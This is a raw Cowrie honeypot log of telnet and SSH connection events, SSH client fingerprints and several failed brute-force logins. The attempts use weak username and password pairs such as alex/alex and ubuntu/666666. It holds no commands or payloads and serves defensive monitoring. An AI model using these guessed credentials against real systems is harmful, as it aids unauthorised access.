{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"afbe45373b5d","protocol":"telnet","message":"New connection: 144.79.218.12:42206 (10.17.0.5:23) [session: afbe45373b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:15.241619Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":60756,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae708a238f4b","protocol":"telnet","message":"New connection: 51.81.202.206:60756 (159.203.135.109:23) [session: ae708a238f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.048252Z"}
{"eventid":"cowrie.session.closed","duration":30.290817499160767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.134710Z","src_ip":"51.81.202.206","session":"3dc833ec47e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49884819984436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.159293Z","src_ip":"51.81.202.206","session":"6ac612238125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":32814,"dst_ip":"159.203.135.109","dst_port":23,"session":"19e81208203e","protocol":"telnet","message":"New connection: 51.81.202.206:32814 (159.203.135.109:23) [session: 19e81208203e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.178272Z"}
{"eventid":"cowrie.session.closed","duration":30.64822554588318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.254207Z","src_ip":"51.81.202.206","session":"0ea55b76d81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":33140,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d7afc54b86","protocol":"telnet","message":"New connection: 51.81.202.206:33140 (159.203.135.109:23) [session: f4d7afc54b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:18.327447Z"}
{"eventid":"cowrie.session.closed","duration":30.164652824401855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:19.067104Z","src_ip":"51.81.202.206","session":"3e29218f2b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84164524078369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:20.207397Z","src_ip":"51.81.202.206","session":"8eb47460b00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768601417541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:22.051764Z","src_ip":"51.81.202.206","session":"4dbda13e06dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268770933151245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:22.740388Z","src_ip":"51.81.202.206","session":"28416d514016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.51.204.249","src_port":4598,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d9efa48c15c","protocol":"telnet","message":"New connection: 188.51.204.249:4598 (159.203.135.109:23) [session: 3d9efa48c15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:23.977328Z"}
{"eventid":"cowrie.session.closed","duration":30.333934783935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:24.076742Z","src_ip":"51.81.202.206","session":"a5bbb0ccb4da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":50600,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fec7a9a518e","protocol":"telnet","message":"New connection: 51.81.202.206:50600 (159.203.135.109:23) [session: 3fec7a9a518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:26.349425Z"}
{"eventid":"cowrie.session.closed","duration":30.30947995185852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.044219Z","src_ip":"51.81.202.206","session":"c97c65eb9945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25984001159668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.056375Z","src_ip":"51.81.202.206","session":"77a66d90c0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5279cab0217a","protocol":"telnet","message":"New connection: 144.79.218.12:40728 (10.17.0.5:23) [session: 5279cab0217a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.278455Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60930,"dst_ip":"159.203.135.109","dst_port":22,"session":"91fef1d5118a","protocol":"ssh","message":"New connection: 159.203.92.129:60930 (159.203.135.109:22) [session: 91fef1d5118a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.313138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.321108Z","src_ip":"159.203.92.129","session":"91fef1d5118a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.327654Z","src_ip":"159.203.92.129","session":"91fef1d5118a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.349525Z","src_ip":"159.203.92.129","session":"91fef1d5118a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.964940309524536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:30.355236Z","src_ip":"51.81.202.206","session":"0f71a47ec7f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:31.368855Z","src_ip":"159.203.92.129","session":"91fef1d5118a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":36912,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef5e0ea2a9c","protocol":"telnet","message":"New connection: 51.81.202.206:36912 (159.203.135.109:23) [session: 9ef5e0ea2a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:32.779860Z"}
{"eventid":"cowrie.session.closed","duration":31.150623559951782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:33.137460Z","src_ip":"51.81.202.206","session":"a7370b7d702d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":39138,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08a20f2a9f4","protocol":"telnet","message":"New connection: 51.81.202.206:39138 (159.203.135.109:23) [session: d08a20f2a9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:33.836169Z"}
{"eventid":"cowrie.session.closed","duration":30.822580575942993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:34.102421Z","src_ip":"51.81.202.206","session":"b97e02b1a5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.81179690361023,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:35.788992Z","src_ip":"188.51.204.249","session":"3d9efa48c15c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940316915512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:36.099155Z","src_ip":"51.81.202.206","session":"89836c0023c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024473905563354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:36.202926Z","src_ip":"51.81.202.206","session":"184e81f18536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871063947677612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:36.207052Z","src_ip":"51.81.202.206","session":"397f39d32a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58173418045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:37.052999Z","src_ip":"51.81.202.206","session":"0d12ef85e012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168716192245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:37.501039Z","src_ip":"51.81.202.206","session":"cdc944623b99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48712,"dst_ip":"159.203.135.109","dst_port":23,"session":"64cc15eb0b31","protocol":"telnet","message":"New connection: 51.81.202.206:48712 (159.203.135.109:23) [session: 64cc15eb0b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:38.138021Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":37826,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa87390f9e8","protocol":"ssh","message":"New connection: 152.32.213.101:37826 (159.203.135.109:22) [session: 4aa87390f9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:38.770416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:38.775240Z","src_ip":"152.32.213.101","session":"4aa87390f9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:39.015400Z","src_ip":"152.32.213.101","session":"4aa87390f9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"666666","message":"login attempt [ubuntu/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:39.906559Z","src_ip":"152.32.213.101","session":"4aa87390f9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32250475883484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:40.168570Z","src_ip":"51.81.202.206","session":"6dbf9f63e6b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:41.128454Z","src_ip":"152.32.213.101","session":"4aa87390f9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0156569480896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:42.175360Z","src_ip":"51.81.202.206","session":"08a73647d30f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926472663879395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:43.116655Z","src_ip":"51.81.202.206","session":"71a1edce3bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":35684,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ad87d5fed4","protocol":"telnet","message":"New connection: 51.81.202.206:35684 (159.203.135.109:23) [session: e6ad87d5fed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:45.871892Z"}
{"eventid":"cowrie.session.closed","duration":31.665039539337158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:46.906513Z","src_ip":"144.79.218.12","session":"afbe45373b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38064,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9029509462","protocol":"telnet","message":"New connection: 51.81.202.206:38064 (159.203.135.109:23) [session: 8f9029509462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:47.220560Z"}
{"eventid":"cowrie.session.closed","duration":30.999056339263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:49.047159Z","src_ip":"51.81.202.206","session":"ae708a238f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74693536758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:49.074239Z","src_ip":"51.81.202.206","session":"f4d7afc54b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929954051971436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:49.108129Z","src_ip":"51.81.202.206","session":"19e81208203e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":45794,"dst_ip":"159.203.135.109","dst_port":23,"session":"1398378eca39","protocol":"telnet","message":"New connection: 51.81.202.206:45794 (159.203.135.109:23) [session: 1398378eca39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:50.862774Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":47676,"dst_ip":"159.203.135.109","dst_port":23,"session":"043494ef624f","protocol":"telnet","message":"New connection: 51.81.202.206:47676 (159.203.135.109:23) [session: 043494ef624f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:51.922818Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"6138ae0f55dc","protocol":"telnet","message":"New connection: 51.81.202.206:54908 (159.203.135.109:23) [session: 6138ae0f55dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:55.666334Z"}
{"eventid":"cowrie.session.closed","duration":30.773220777511597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:40:57.122509Z","src_ip":"51.81.202.206","session":"3fec7a9a518e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":37206,"dst_ip":"159.203.135.109","dst_port":23,"session":"acfcbb5fdaba","protocol":"telnet","message":"New connection: 51.81.202.206:37206 (159.203.135.109:23) [session: acfcbb5fdaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:00.733611Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38738,"dst_ip":"159.203.135.109","dst_port":23,"session":"f06c2ac5f1d4","protocol":"telnet","message":"New connection: 51.81.202.206:38738 (159.203.135.109:23) [session: f06c2ac5f1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:01.554591Z"}
{"eventid":"cowrie.session.closed","duration":30.295987129211426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:03.075768Z","src_ip":"51.81.202.206","session":"9ef5e0ea2a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42678,"dst_ip":"159.203.135.109","dst_port":23,"session":"638fd357302a","protocol":"telnet","message":"New connection: 51.81.202.206:42678 (159.203.135.109:23) [session: 638fd357302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:03.748597Z"}
{"eventid":"cowrie.session.closed","duration":30.212732076644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:04.048748Z","src_ip":"51.81.202.206","session":"d08a20f2a9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.961148500442505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:08.239451Z","src_ip":"144.79.218.12","session":"5279cab0217a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52212,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4071f31add7","protocol":"telnet","message":"New connection: 51.81.202.206:52212 (159.203.135.109:23) [session: c4071f31add7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:08.765260Z"}
{"eventid":"cowrie.session.closed","duration":30.920299768447876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:09.058201Z","src_ip":"51.81.202.206","session":"64cc15eb0b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":56480,"dst_ip":"159.203.135.109","dst_port":23,"session":"af84ddef84b8","protocol":"telnet","message":"New connection: 51.81.202.206:56480 (159.203.135.109:23) [session: af84ddef84b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:11.055848Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36898,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a4524a9744","protocol":"ssh","message":"New connection: 159.203.92.129:36898 (159.203.135.109:22) [session: 28a4524a9744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:15.016024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:15.020987Z","src_ip":"159.203.92.129","session":"28a4524a9744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:15.028570Z","src_ip":"159.203.92.129","session":"28a4524a9744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:15.041650Z","src_ip":"159.203.92.129","session":"28a4524a9744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:41:16.048321Z","src_ip":"159.203.92.129","session":"28a4524a9744","protocol":"ssh"}
